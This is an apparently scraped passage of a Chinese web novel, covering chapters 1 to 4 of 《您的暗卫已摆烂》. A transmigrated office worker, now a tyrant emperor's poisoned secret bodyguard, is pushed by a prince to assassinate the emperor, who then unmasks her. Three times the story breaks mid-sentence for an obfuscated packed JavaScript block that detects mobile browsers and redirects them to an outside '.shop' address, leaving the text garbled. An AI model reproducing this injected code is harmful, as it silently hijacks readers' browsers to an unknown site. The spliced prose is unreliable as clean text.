《您的暗卫已摆烂》 1. 第1章 二五仔 深秋夜晚,天地始肃,来往的宫人步履匆匆,月光清泠泠的落下,白日里高耸威严的绿瓦红墙在夜晚显得有些阴森可怖。 一身宫人装扮的女人踩着青色的石板,独自走在宫道的阴影中,转眼间那女人却已不见踪影。 林零穿越到这个架空世界已经有五天了。 她原本是一名普普通通的社畜打工人,独自一人在公司加班到凌晨,然后非常不幸的,她猝死了。 再次睁眼的时候正站在金銮殿的角落围观皇帝上朝。 完全搞不清楚情况的林零看起来面色如常,实际上内心已经崩溃混乱宛如故障老式电视的雪花屏。 她看了看朝堂上跪了一地的国之栋梁,低头又看了看自己身上的宫女服。为了保住在自己的小命,林零开始尽职尽责的履行自己的职务。 在这一点上,她既幸运,又不幸。 幸运的是,林零与原身同名,虽然脑海中没有得到原身完整的记忆,但她会在某些地方,或是听到某些词汇时,触发部分记忆。 多亏了这触发式回忆,她在这几天短暂的工作生涯中并没有出什么问题。 不幸的是……她并不是普通宫人,而是皇帝的贴身女官,工作内容相当于现代秘书和助理的结合体。 也就是说,她要伺候皇帝上朝,平日里端茶倒水,晚上还要守在皇帝寝宫以防皇帝传唤。 虽然大部分时间都只是在皇帝身边当个隐形人,但是…… 朝五晚九!加班不定!全年无休!!或许还会有生命危险!!! 想明白这件事的时候,林零几乎要维持不住脸上的平静。 这要怎么让人平静啊!这样的职场生活已经不是让人两眼一黑的程度了!!倒不如让她作为一个猝死的社畜安心的离开这个世界啊啊啊!!! 除此之外更重要的是,她的老板……是个不折不扣的暴君。 宫人们自然不敢私下妄议皇帝,她能发现这件事是因为这位皇帝陛下根本演都不演! 当朝皇姓为薛,皇帝单名琰字,林零穿来总共五天时间,皇帝因茶水不适口、佩戴的香囊不好闻,上朝嗓门太大等理由,杖毙宫人内侍三人,流放朝臣两人。 其他宫人尚且有轮班休沐的机会,林零却是几乎要与皇帝形影不离,危险系数直线上升。 这毫无疑问是一份高危工作。 但话虽如此,林零并不是完全没有私人时间,比如每日给宫人预留的休息时间,比如出恭的时候,再比如现在。 在这个月黑风高的夜晚,林零独自一人走在宫道,她并不是想要杀人放火,也不是对自己的新工作绝望后决定随心所欲。 她很清楚的知道自己现在的行为相当作死,但她还是这样做了。 事情要从她发现的字条开始说起。 忙碌一天的林零在短暂又宝贵的休息时间返回卧房,发现了这张字条,约她戌时在一偏远宫殿见面。 正常来说,这种来路不明又可疑的字条,她会选择视而不见,但问题在于看到字条时,林零脑海中出现的记忆。 她原本认为已经没有什么事情能再打击到一个绝望的牛马,但命运总能让她大开眼界。 林零到那时才知道,什么贴身女官不过是掩饰真实身份的借口。 她是皇帝的专属贴身暗卫,被下了秘药控制,命在皇帝手里捏着,还要为他出生入死的那种。 这张字条是睿王,当朝皇帝的皇叔送来的。 在这之前,原身已经在一次宫宴上偷偷与这位王爷见过面。 会面内容大致就是:睿王不知通过什么手段得知了女主的身份,他以秘药解药为条件,一通威逼利诱,要求原身刺杀皇帝。 ……原身同意了。 现在才视而不见怕是已经来不及了。 林零难过,林零绝望,林零心如死灰。 这就是她今晚不得不去的理由。 话说怪不得刚穿来的时候感觉身体非同一般的强健轻盈,她还以为是这具身体只是单纯的年轻力壮。 这算是目前为止,她能看到的唯一一点好处。 …… 不多时,身形飘忽如女鬼的林零来到了约定的院落。 一个年轻的内侍早已站在阴影处等候。 待林零走近,内侍一张口便是十分标准的尖细嗓音:“姑娘您可算来了”,听得她起了一身鸡皮疙瘩。 那内侍也不多废话,直奔重点:“王爷下了命令,要您今晚就下手,以您的身手,想要不惊动旁人想必不在话下,等事成之后王爷自会给你解药。” 林零闻言皱眉反问:“若是你们王爷食言不肯给我解药呢?” 万一那王爷逃单她上哪说理去! 内侍冷哼一声,捏着兰花指隔空冲着她点了点,阴恻恻地说道:“您大可不信任我们王爷,但姑娘您还有别的选择吗?” 林零看着那欠扁的嘴脸,只觉得自己拳头捏得邦硬,心中默念不生气,暗自深呼吸数下,见那内侍还是直勾勾的盯着自己,她板着一张脸点了点头。 内侍这才满意一甩袖子,迈着小碎步离开。 等林零一路躲避视线,迈着飘忽不定的步伐回到自己的卧房。 用来计时的灯烛未灭,休息时间还未结束。 她稍作休整,耷拉着眼角死气沉沉的向养心殿,也就是皇帝寝宫走去。 向皇帝行过礼后,林零站在皇帝前侧方,开始明目张胆地神游天外。 她不知道那王爷究竟为何今晚要杀皇帝,她只知道自己下不了手。 过年杀猪她都不敢看,这王爷让她杀个人? 等明天那个什么睿王发现无事发生以后,她恐怕也没几天好活了。 前世看的各种宫斗小说剧情在脑中纷纷闪过。 林零简直绝望,兢兢业业这么多天,小命终于是要交代了。 上下两辈子她从来没有这么累过,早知道自己穿过来没几天好活,她不如在第一天直接放飞自我,豁出去了撒欢一场,起码也算快活过了。 而且她这具身体好像是个武学天才来着,难得当一回武林高手,她居然还没体验一下飞檐走壁的感觉就要……,不行,不能再想下去了,要哭出来了。 她这样想着,脸上的表情无甚变化,但身上的怨气浓重得几乎能看见背后黑烟,一双形状姣好的杏眼逐渐有向死鱼眼发展的趋势。 为皇帝奉茶的宫人端着茶盏走至书案前,行动间眼神略过宛如怨鬼上身的林零,吓得浑身一颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489353|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “铛。” 茶盏随着宫人的动作发出了瓷器碰撞的声音,茶水顺着茶盏淅沥沥的滴落在书案。 随后便是一片令人窒息的死寂,整个宫室唯余滴答水声。 书案后的薛琰缓缓抬起头。 “铛铛铛铛……”那宫人端着茶盏浑身无法控制的颤抖着。她连忙将茶盏放在案上,跪伏在地,不停叩头,浑身颤抖:“皇……皇上饶命!皇上饶命……” 周围的众人哗啦啦跪了一片,不敢发出多余的动静。 林零被这突如其来的一遭唤回神,她看见那暴君盯着宫人一言不发,一手虚握,缓缓搓动手指。 他〇的,这神经病每次一搓手指就要作妖,话说她现在把这狗皇帝拎起来踹他屁股的话,他应该就想不起来杀这小姑娘了吧? 把他一脚踹出养心殿,踹完就跑,直奔御膳房大吃特吃,她前两天看到御膳里面有道滚鱼片馋了好半天呢,等她吃饱喝足就可以安详的准备离开这个世界了。 林零越想越觉得可行,身上的怨气都散了不少,瞪着死鱼眼盯着薛琰跃跃欲试。 “陛下,睿王求见——” 就在林零已经想好要从哪个方向冲出去下脚的时候,明德公公踩着小碎步进来说道。 薛琰一摆手:“传。”,说罢便不再看那地上的宫人,转过头来盯着林零。 林零心里正想着要踹人屁股抢人饭,一转眼与薛琰直接对上视线。 林零:心虚.jpg 面部表情没有一丝变化的林零眨眨眼,一脸无辜:“陛下?” 薛琰盯着她又看了两息,回过头去。 林零心说不愧是当皇帝的,还怪有气势。 此时,得了召见的睿王迈步进殿,似是不经意的瞥了林零一眼。 林零:……草。 让她头疼绝望的两尊大佛成功会面。 睿王迈着沉稳的步伐走到殿前行礼:“臣薛晁,叩见陛下。” 林零看着正在跟皇帝谈论政事,脸上仿佛写着忠君爱国满身正气的睿王,想起原身记忆中的威逼利诱,又想起方才内侍尖利阴狠的威胁,只觉得这睿王的心眼比他脸上挤出来的褶子还要多上几分。 这般想着,林零感情充沛的冲睿王翻了个白眼。 “噗——”同样谈论政事的薛琰喷笑出声。 林零、睿王:……? 你想起了高兴的事情吗? 睿王还未说出口的话被堵在嘴里不上不下:“陛下,您这是……?” 薛琰笑完,一脸正色若无其事地对睿王说道:“无事,皇叔接着讲。” 直接就这样当事情没发生过了吗?而且脸变这么快的吗?陛下可曾听闻什么川剧否? 林零围观皇帝表演变脸,心里的吐槽一句接着一句。 她这边心里骂骂咧咧,另一边的两人也谈论到了尾声。 待睿王行礼退下后,寝宫内恢复一片寂静。 寂静中,薛琰兀地张嘴唤道:“林零。” 林零心里一跳,行礼回应道:“奴在。” 薛琰坐在书案后,一手支头,嘴角缓缓咧开一个丧心病狂的笑:“方才朕与睿王谈论的事,你有何看法。” ……啊? 2. 第2章 女壮士 林零满眼呆滞的望着薛琰,眼前的男人嘴角挂着笑,本就微微上挑的眼角现在更是显得神采飞扬。 但她现在完全没有欣赏皇家美色的心情,薛琰这一个问题问出来,她恍惚间仿佛回到了毕业答辩现场。 刚才这俩祖宗说的什么来着?干旱?流民?这等子国家大事要问她吗??? 答辩导师薛琰并未给林零太多思考的时间。 “嗯?”,他尾音上扬的威胁道。 林零大脑一片空白,决定死马当活马医。 正所谓答辩答辩,答而不辩!答不出来,唯有道歉! “陛下恕罪!”,脑袋空空的林零选择飞速滑跪。 薛琰垂眸盯着跪在跟前的林零,不发一言。 林零跪伏在地,视线局限在眼前的地砖,无法观察皇帝的神态,想不明白这祖宗又怎么了。 皇帝不发话,林零只好维持姿势一动不敢动,良久,久到林零怀疑薛琰实际上是被她的后脑勺迷住了的时候,她的头顶上传来一声冷嗤。 “起来吧”,被怀疑喜欢看后脑勺的皇帝大发慈悲,接着冲殿外唤道:“明德。” 年老的宦者带着身后的一众人鱼贯而入,紧接着一切便恢复成往日林零已经熟悉的样子,仿佛刚才的存亡危机都是她的错觉。 林零站在往日的位置,对于刚刚经历的死里逃生没有任何的真实感,刚才发生的一切都过于突然且离谱,等到平静下来她才开始后怕。 跪伏在地奉茶宫人惊恐的样子在她脑中一闪而过,不知道在薛琰看来她方才是不是跟那宫人一个模样。 接下来的薛琰直到处理完政务都十分的正常且平静,由宫人们伺候着盥洗、更衣、就寝之后,寝宫熄了烛火。 林零明面上身为薛琰的贴身女官,自然要为他守夜,不过不似寻常宫人那般条件艰苦。皇帝寝宫外间有一方矮榻可供她歇息,林零实际上只需要保护薛琰的安全即可。 林零像往常一样躺在榻上,向来好眠的她今日却少见的没了睡意,不仅是因为睡前那一遭,更是因为那大逆不道的睿王。 谋划弑君的皇亲国戚、干旱天灾、流民人祸、还有睿王进门时那满是威胁的一眼,即便是再迟钝的人也应该察觉到山雨欲来的气息。 对于这一切,林零也只能忧虑几分,徒增烦恼罢了,毕竟她只是个小小的暗卫,命还在狗皇帝手里捏着。 想到这里林零更是一阵头疼,我命不由我就算了,偏偏能做主的还是个精神状态极不稳定,说砍人就砍人的暴君。 即便林零已经下定决心对睿王的命令置之不理,但他们这位陛下实在是招人恨得紧,即便是前世见过众多千奇百怪的甲方,她在面对薛琰的某些时候也会有想要大逆不道的冲动。 躺在榻上胡思乱想的林零,忽然间在一片漆黑中察觉到目光的注视,这具经过特殊训练的身体的本能瞬间做出反应,她猛地翻身而起,浑身紧绷。 蓄势待发的林零一转头,看见她那本该躺在床上入睡的陛下,披头散发的坐在床边。 漆黑的寝宫,披散的长发,浅色的寝衣,直勾勾的眼神。 ……!!! 他〇的!大晚上啊!她一点心理准备都没有,刚才好悬一嗓子喊出来啊!!! 这谁能想到,好端端一个皇帝大晚上不睡觉坐在床边cos贞子! 买版权了吗你! 林零心里吐槽不停,脸上的表情却已经麻木,她是真的被吓到了,刚才那一下如果换成明德公公,大抵足以刺激得这位忠心耿耿的老人直接驾鹤西去。 她忍住想要踹薛琰屁股的冲动,心中重复默念大逆不道,重重的喘口气,尽量平静地张嘴唤道:“陛下?” 坐在床边的男鬼一动不动,藏在发丝后的脸看不清神色。 寝宫中安静一瞬,薛琰才说道:“唤朕作甚?” 林零的腿开始蠢蠢欲动。 薛琰根本不懂得什么叫见好就收,字字句句都将林零引向大逆不道的深渊:“朕睡不着,你也没睡吗?” 林零又要开始冒黑烟了。 这算什么?林零亦未寝?啊??? 她这边还被薛琰噎得说不出话,薛琰却是完全不在意自己的问题没有得到回答,自顾自得开始使唤林零:“去,给朕倒杯水来。” 林零张了张嘴,终究还是理智占了上风,她认命般重重一闭眼,开口应道:“是。” 熄灯的时间不长,桌上的壶中水温尚且温热。 林零将倒好的茶水递给薛琰,脑子里想着前世看过的那些小说里面,有些难伺候的主只喝固定温度的茶,过凉过热就会开始摔杯子发脾气,像是她一言不合就哭闹撒泼的小侄子。 还好薛琰并没有这样的臭毛病,两口喝完茶水,他便又躺回床上,冲着林零摆摆手。 林零心领神会,行过礼后身姿矫健地躺回自己的矮榻。 她平日里本来就是精力较低的类型,再加上穿来后睡眠一直不足,即使这具身体气血充足浑身是劲,她也恨不得天天躺在床上从早睡到晚。 原本毫无睡意的林零被薛琰闹了这么一通,再躺在床上的时候脑子里便不再胡思乱想,渐渐的有了睡意,一夜无梦。 第二日清早,一切如常。 林零跟随一众宫人进入内间,依旧站在一旁当背景板,早起的薛琰肉眼可见的暴躁。 果然,全天下的社畜早起都会暴躁,哪怕是皇帝! 林零的心里带着诡异的欣慰,但她很快就察觉出了不对劲。 臭脸皇帝在众人的伺候下盥洗,眼睛却紧紧盯着林零。 她站在一旁,心中警铃大作,生怕还带着起床气的薛琰把气撒在她身上。 周围的宫人内侍很显然也发现了这一点,噤若寒蝉的同时纷纷不着痕迹地远离林零。 薛琰脑子里不知道想到什么,兀地笑了一声,在静得能听到布料摩擦声的寝宫中,这一声笑不亚于平地一声雷。 “林零。” 被点名的本人缓缓抬头,看到薛琰脸上挂着一抹若有似无的笑,眼中却完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489354|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全看不出笑意:“换你来为朕更衣。” 她就知道这祖宗又要整事。林零的职责说到底是为了保护皇帝的安全,即便是在皇帝更衣的时候也是有必要在场的。虽然每次她都低头眼观鼻鼻观心,但确实已经见过很多次了。 见过归见过,上手还是第一次。 林零对上薛琰的视线,认命般开口:“是”。 说罢走上前去,为薛琰披好外袍,拿起衣带,回想着之前内侍的系法,双手环过薛琰的腰,两人的距离一下子挨得极近,林零感觉到温热的呼吸拂过头顶,她从未与人这般亲密,身上的肌肤因为不习惯细细地起了一层鸡皮疙瘩,连带着脸上都微微发麻。 好在只有短暂一瞬,林零努力忽略薛琰的视线,专心致志的系好衣带。低着头行了个礼便要退后。 “站住。”面前的薛琰开口,林零心里一跳,动作僵在原地。 薛琰伸出手挑起她的下巴,那手白而细嫩,温如暖玉,林零的双手因训练习武长有薄茧,相比之下薛琰的手反而更像是小姑娘。 林零被迫抬起头与不做人的皇帝对视,心中的辱骂一句接着一句,面上却表情依旧,张嘴再次熟练发问:“陛下?” 薛琰盯着林零的眼,张嘴就是一句:“你在骂朕”,语调平平地陈述。 寝宫里的众人再次哗啦啦跪了一地。 她心中抓狂,这神经病怎么看出来的,她气到表情管理失控了吗??? 心中骂归骂,林零的面上却是一脸的惊慌失措:“陛下!奴怎敢对陛下出言不逊!”,勾着下巴的手并未挪开,她只好维持与薛琰对视的姿势硬着头皮开演。 薛琰理直气壮:“你在用眼神骂朕。怎么,不承认吗?” 林零无话可说,这狗皇帝为什么这么敏锐啊! 心中念头刚刚闪过,薛琰立刻开口:“你还说没有”,脸上明晃晃地写着几个大字:被朕逮到了吧! 林零这下真没脾气了,几乎要被气出死鱼眼,她带着点破罐破摔的意味,再次说道:“陛下,奴不知道,奴不明白,陛下饶命!” 这句话语调平平,很显然没有刚才那样抑扬顿挫,但薛琰像是听到了什么有意思的话,满眼兴味地一挑眉,盯着林零又看了几眼,像是在研究些什么,片刻后,他大发慈悲地说道:“算了,饶你一命。” 说完便放开林零的下巴,心情很好地抬脚出发上朝。 跪了满地的宫人内侍从地上爬起,跟在皇帝身后,从她身边路过时看她的眼神同情里又透着敬畏。 再次逃过一劫的林零心情复杂,这是什么瞻仰女壮士的表情。 心里正这般想着,明德公公踩着小碎步从她面前路过,拂尘一甩,冲她嘻嘻一笑。 林零被他笑得心里发毛,实在是没能从老人满脸的褶子里品出他到底在嘻嘻什么。 她大清早刚一起来就被薛琰这一遭弄得筋疲力尽,反正也想不明白,林零索性丢在脑后,不再去想。 命苦地追上薛琰的脚步,像往常一般跟在他的身后。 3. 第3章 你是谁 就林零这几天的观察来看,薛琰上朝的风格完全可以用“有事起奏,无事退朝”几个字来概括。 他很少会主动询问什么事,大部分情况都是听朝臣们汇报,然后由着他们内部争论。倘若争论的声音吵到他了,薛琰就从中挑出嗓门最大,或者他觉得最不顺眼的,轻则抄家流放,重则性命不保。 薛琰半阖双眼,歪七扭八地坐在龙椅上听着朝臣们的汇报,那懒散的模样叫人很难不怀疑他根本就没在听。 林零昨晚见到的睿王也在殿内,她跟在薛琰身后进入大殿,察觉到一道视线长久的停留在她的身上,抬眼看去,恰与睿王对视,那眼神冰冷不带有一丝感情。 她心中明白自己已成了睿王的眼中钉肉中刺。自己的命本就掌控在皇帝手中,唯一能够摆脱的机会已经错过,接下来若是自己还想活命的话,就只能与这位皇帝牢牢绑定在一起,期盼这位陛下能够长长久久地坐稳这把龙椅。 想到这里,林零撇了一眼吊儿郎当坐没坐样的薛琰,只觉得眼前一黑,完全看不到前路的光在哪里。 “你!” 正当林零沉浸在自己的悲惨未来里的时候,朝堂上一声暴呵唤回了她神智。 两个发须霜白的朝臣几乎是扯着嗓子在殿中争吵。 林零仔细听过后才明白,两位老臣的争吵正是关于她昨晚听到的干旱一事。 其中一人脸红脖子粗地说道:“你简直是不可理喻!那关州干旱颗粒不收,百姓已是流离失所苦不堪言,难免有心怀不轨之人借机生事,多数百姓不过求一条生路!!镇压过后处死带头者,其余人处罚惩戒即可,魏丞相又何至于要将其尽数屠杀!!” 魏丞相看上去比第一人冷静些许,但一张口的嗓门也是不遑多让:“处罚惩戒?李尚书可知那群生事的流民足有千人!你言他们求生苦楚,将其轻易放过,来日倘若这伙人包藏祸心,混在关州百姓中诡言惑众,岂不是乱世之相!!” “关州数万受灾百姓,难不成只有这千人才知旱灾苦楚,只有他们才知道要寻求生路?我看他们就是一帮拿天灾当借口的乱臣贼子!留着这种人日后终成祸患!” 这位老臣年纪虽大,但声如洪钟中气十足,这段话说的一气呵成,声音也越来越大,待他话音落下,整个宫室还回荡着他的余音。 李尚书气极了喘着粗气,嘴中不停地重复:“你简直,简直是……” 终于,他似是被气到失去理智,面色狰狞地喊道:“这简直就是草菅人命!你要让陛下像先皇那样……” 话音戛然而止,等着听下文的林零疑惑抬头,看见方才气得满脸通红的老人此时脸色煞白,浑身颤抖。 原先中气十足半句不让的魏丞相则一声不吭,和殿上其余人一样恨不得将头埋进地里。 整座大殿迅速的安静下来,林零觉得这场面好像有点眼熟。 来不及回想,便听见上首坐在龙椅上的薛琰在一片死寂中笑出了声。 那笑声越来越大也越来越癫狂,接着像是笑够了一般,他停下来问道:“你说,朕像谁?” 李尚书扑通一声跪下,头伏在地,哆哆嗦嗦的说:“臣……臣……” 薛琰却是懒得再听,一摆手:“拖下去,拔了他的舌头。” 在李尚书哭嚎求饶的声音中,他说:“干旱一事由魏相负责,退朝。” 说罢便一甩袖子走出大殿。 一众宫人赶紧跟上他的脚步。这不是林零第一次看见薛琰下令把人拖下去了,但之前的都是内侍宫人,把朝臣拖下去还是第一次。至于被拖走的老人是什么下场,林零不敢去想,只是默默地跟在薛琰身后。 一行人就这么来到了御书房,薛琰进门后面无表情地坐在书案前,在场的宫人们谁也不敢相信这份平静,纷纷埋着头降低自己的存在感。 林零斜着眼睛偷瞄正在气头上的暴躁皇帝。 薛琰盯着书案出神,微敛的双眸藏住了平时眼中的凶戾,光线透过窗口打在他的身上,不同往日的沉静气质反倒凸显了这位暴君生来俊美的好皮囊。 沉迷美色的林零眼尖地撇见薛琰搓动的手指,猛地清醒过来。 沉静个锤子啊,这狗皇帝搓手指心里绝壁又想着砍人! 她收回视线,一边唾弃自己轻易被美色蒙蔽双眼,一边暗自祈祷这口气不要出到自己头上。 正所谓,怕什么来什么。 “林零……”如恶魔低语般的声音响起,林零一口气差点没喘上来。 她认命地行礼:“奴在。” “你去……”薛琰一个大喘气,林零的心脏也随之高高地悬起。 “去御花园里西北角给朕折一枝枫叶,朕给你半盏茶的时间。”他说完,脸上表情没什么变化,但那眼中的神情同早上喊她更衣的时候一模一样。 林零听清薛琰的要求感到有些不可思议,那么大的阵仗居然只折一枝枫叶吗? 等等,不对!御花园角落!寻常的宫人光是走到那里都要一炷香还多的时间,这狗皇帝要她一个来回再加上折枫叶一共五分钟? (一种植物)! 薛琰接着发出了不顾别人死活的声音:“明德,计时。” 林零来不及多想,连忙行礼转身出了寝宫,她刚一脱离宫人们的视线就开始撒丫子狂奔。 两点之间线段最短,当她正要运起轻功踩着墙头直奔御花园的时候,猛然想起自己好像是个需要隐藏身份的暗卫。 运起的内力被强行压下,憋得林零胸口一闷,无可奈何的开始躲避宫人的视线。 当林零兵荒马乱地攥着一枝枫叶回到薛琰面前的时候,时间刚刚好用了半盏茶。 她气都没喘匀,一抬眼就看见皇帝似是可惜般地撇了撇嘴。 林零咬着牙,害怕牙关一松嘴里的鸟语花香就一不小心漏出去。 “你再去冷宫里给朕折一枝银杏。还是半盏茶的时间。”恶魔低语再次响起。 她不敢相信地抬眼,脸上一贯的平静终于裂开,眼睛瞪大,甚至由于过于震惊嘴巴也微微张开。 薛琰看着她的表情一挑眉,张开嘴似是又要说点什么让人去死的话。 林零余光瞥见明德公公正要计时,十分丝滑地行礼,退出,狂奔。 薛琰多说的她是一句也不想听,反正也说不出什么好话。她已经有些熟练地躲避宫人的视线,心中恨恨想道。 等到林零微喘着气将银杏带回去,她已经懒得想薛琰是什么反应了。 果不其然,接下来林零经历的一切,可以称之为:东市买骏马,西市买鞍鞯,南市买辔头,北市买长鞭。甚至有过之而无不及。 她再一次喘着粗气将带回来的物品呈上去的时候已经开始接受现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489355|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 林零这一路上其实都在想,薛琰这么折腾到底是为了什么,难不成真的只是为了撒气吗?可是这几天无论是半夜装男鬼、早上的更衣、还是刚才折腾的这一遭,完全没有触发这具身体的记忆。这就说明,皇帝这几天的行为在往日从未出现过。 这样多的异常行为,还全部都是针对林零,事情已经很明了了。 他发现了,林零心中想道。 就是不知道他发现是原身同睿王之间的交易还是…… 林零深吸一口气,不再胡思乱想,跪在原地等着薛琰接着发任务,却听到了出乎意料的指令。 “都出去”,薛琰的声音听不出喜怒,林零的心中忐忑奈何完全猜不到这想一出是一出的皇帝究竟想做什么。 宫人内侍哗啦啦的全部走出殿外还贴心的合上了门,殿内一下子就空了下来。 林零舔了舔后槽牙恶狠狠地想到:要是这皇帝也要摆摆手把她拖出去的话,她就只能先下手为强了。 所谓先下手为强,其实就是林零打算抢先一步自己了结罢了,他们暗卫业内有一种常用的自尽毒药,这药见血封喉,保准让使用者无痛去世,用过的都说好,至今零差评。 这药一般都是藏在牙齿缝里,林零穿过来的这几天,实在提心吊胆害怕自己吃饭的时候一不小心误食毒药魂归西天,就把它取了出来带在身上,方才想明白自己已在薛琰面前暴露,她就又重新放回嘴中。 林零穿越之前也不过是个普通人,来到这万恶封建社会的短短几天里,虽然看着薛琰简简单单一句话拖走的人已经不少了,但她依旧不敢亲自动手杀人,即便是真真正正死到临头的时候,她也从没想过要宰了薛琰逃命。 她只有跪在地上默默安慰自己,虽然这两天日子也不怎么好过,但说到底她本该是个死人的,这几天也算是她偷来的了。 林零这边故作乐观,薛琰轻啜一口茶,也终于懒懒散散地开口:“你不是林零,对吧。” 林零一怔,虽然已经猜到了,但她属实没想到薛琰会这么直接,一时不知道怎么回答。 薛琰没听到回话也不在意,自顾自地接着往下说。 “你知道吗,你来的第一天朕就发觉你不对劲。” “见过暗卫吗?那帮人是经过训练出来的,眼里是一潭死水不起波澜,就像个活死人。” “而你,表情控制的很好,装的还算挺像,但你眼中的神情却一点也藏不住。你能骗过别人也就罢了,林零是朕的贴身暗卫,与朕几乎是形影不离,你拿什么骗过朕。” “朕起初以为,是朕那个皇叔神不知鬼不觉地将你换了进来,顶替了林零的身份要找个合适的时机刺杀朕,但后来朕又觉得绝非如此。毕竟谁会大费周章地换个连衣裳都穿不利索的傻子来朕身边。” “但朕也试过了,你的样貌、习惯、武功,甚至平日里无意识的反应都与林零一模一样,即便再精心的观察模仿也绝不可能做到这般相像……” 薛琰手中把玩着茶杯,一手托腮看似满不在乎的总结:“你究竟是谁?” 林零听完这一段,也接受自己老底掉没了的事实,但要这问题要怎么回答她真是没有一点头绪,好在听起来皇帝精神状态还算稳定。 一边思考一边抬头,对上了薛琰的看死人一样的眼神。 ……稳定个锤子。 4. 第4章 完蛋咯 林零觉得整个人都不好了。 跪在地上的时候,明明听起来还算语气正常,一抬头看见一张男鬼脸。 她是真的想说,大哥你表情管理有点吓人了。 说是他男鬼脸其实一点也不夸张,薛琰的皮肤很白,是那种很不健康的惨白,唇色很淡,眼下也常年挂着黑青,整个人看着比林零更像个猝死的社畜,也就是他这张脸实在是出众,即便气色糟糕成这样也依旧称得上一句美貌。 而现在薛琰眼中的神情阴鸷而冰冷,再配上这样一张脸。林零简直觉得他背后都透着森森的鬼气,而且即便是鬼,薛琰也绝对是凶恶无比,会向生人索命的那种大恶鬼。 见林零长时间不发一言,薛琰也很是有办法。 “不说?”,他嗤笑一声,接着一摆手不知道冲谁说道:“来人,上刑,就在这里,朕要看看她嘴有多硬。” 林零一听也顾不上思考,一咬牙直接张嘴:“陛下!”。 看着挑眉示意她接着往下说的薛琰,林零只能硬着头皮接着往下编:“奴什么都不知道,前几日奴一觉醒来发现自己有很多事都不记得了,这几日也只是陆续想起来了一些事,奴真的什么都不知道。” 话一出口,林零也觉得有点离谱,说话的声音也越来越小。 说完之后林零一脸心虚地垂下头,也不敢抬头,默默的等着薛琰说出自己的处置结果,她舔了舔藏在嘴里的毒药,暗自祈祷这药真的像传闻中的那么有效。 “过来点抬起头来,看着朕”,头顶传来薛琰的声音,林零膝行几步抬起头。 薛琰与她对视,掏出一个瓶子,倒出一颗晶莹的琥珀。 林零看着他的动作,不明所以地眨了眨眼。 薛琰捏着那琥珀,猛地一用力。 一阵剧痛从心脏传来,林零眼前一黑,冷汗唰的流了下来,浑身脱力一头栽倒在地。她倒在地上的身体无意识地抽搐,意识与感官已经渐渐模糊。 太痛了,真的太痛了,痛到她实在无法忍耐,强烈的疼痛让她已经完全失去了对外界的感知。想要咬破嘴中的毒囊,可剧烈的疼痛让她已经无法控制自己的身体,明明拼尽全力也只是徒劳。 好一阵,疼痛终于渐渐远去,眼前不再一阵阵的发黑,薛琰走过来站在她面前,居高临下地盯着她啧啧称奇。 林零的脑子还没怎么清醒,听到的声音也伴着耳鸣。 “奇……还真……林零。”薛琰的声音模糊地传来。 林零看着眼前那双脚,只觉着这傻*皇帝还真是不当人。 又过了好一阵,林零终于缓过劲坐起身,浑身上下像是刚从水里捞上来一样,虽然身上还是一阵阵的发软,但好在已经能够控制自己的身体。 薛琰笑得毫无愧疚,蹲下身与她平视,“真可怜呐。” 可怜你〇的。 林零瘫坐在地上一下也不想动,睁着一双死鱼眼看着眼前这张欠扁的脸,脸上一片空白,过于剧烈的疼痛已经耗尽了她的所有精力。 薛琰伸出手,握着她的脖子,将她的脸拖到跟前,两人四目相对皆是一言不发。 良久,久到林零抻着的脖子都开始发酸。 狗皇帝忽地笑了一声:“又在骂朕了。” 骂的就是你,神经病!臭傻*!我*你***** 薛琰放开她的脖子,一手托腮,一手搭在膝盖,笑得更开心了:“朕都说了,你那双眼睛真是一点事都藏不住。” 说罢,他站起身坐回书案后,“你这症状倒是跟户部侍郎家的大姑娘一模一样,据说是掉进水里,再捞上来的时候就像是变了个人一样。” 薛琰端起茶杯轻晃,嘴角的笑就没落下去过:“知道这件事的人都说她是被水鬼上了身,你呢?你没病没灾也没碰见什么事,该不会也是被什么孤魂野鬼上了身?” 林零心说还真叫他猜对了,面上却懒得搭理他,维持着原来的姿势坐在地上,一张嘴就是三连:“奴不知道,奴不记得,奴不明白。” 相比于之前的兢兢业业和谨慎周旋,现在的她简直就是破罐破摔,满心里的念头已经从努力求生变成了:要死要活都随便。 但是其实她多多少少还是给薛琰留了点面子,尚且还能坐在地上能回话,如果旁边没人,林零早已经在地上把自己摊成一滩,进入自闭状态。 薛琰完全不在意她的敷衍,他好像陷入了一种诡异的亢奋状态,拉着她一句接一句的提问。 “现在还记得自己的身份吗?”,“现在还记得多少?”,“为什么失忆了还记得怎么运内力?”…… 林零有种好不容易周末放假,想睡懒觉却被拿着手机好奇心旺盛的小侄子问东问西的既视感。 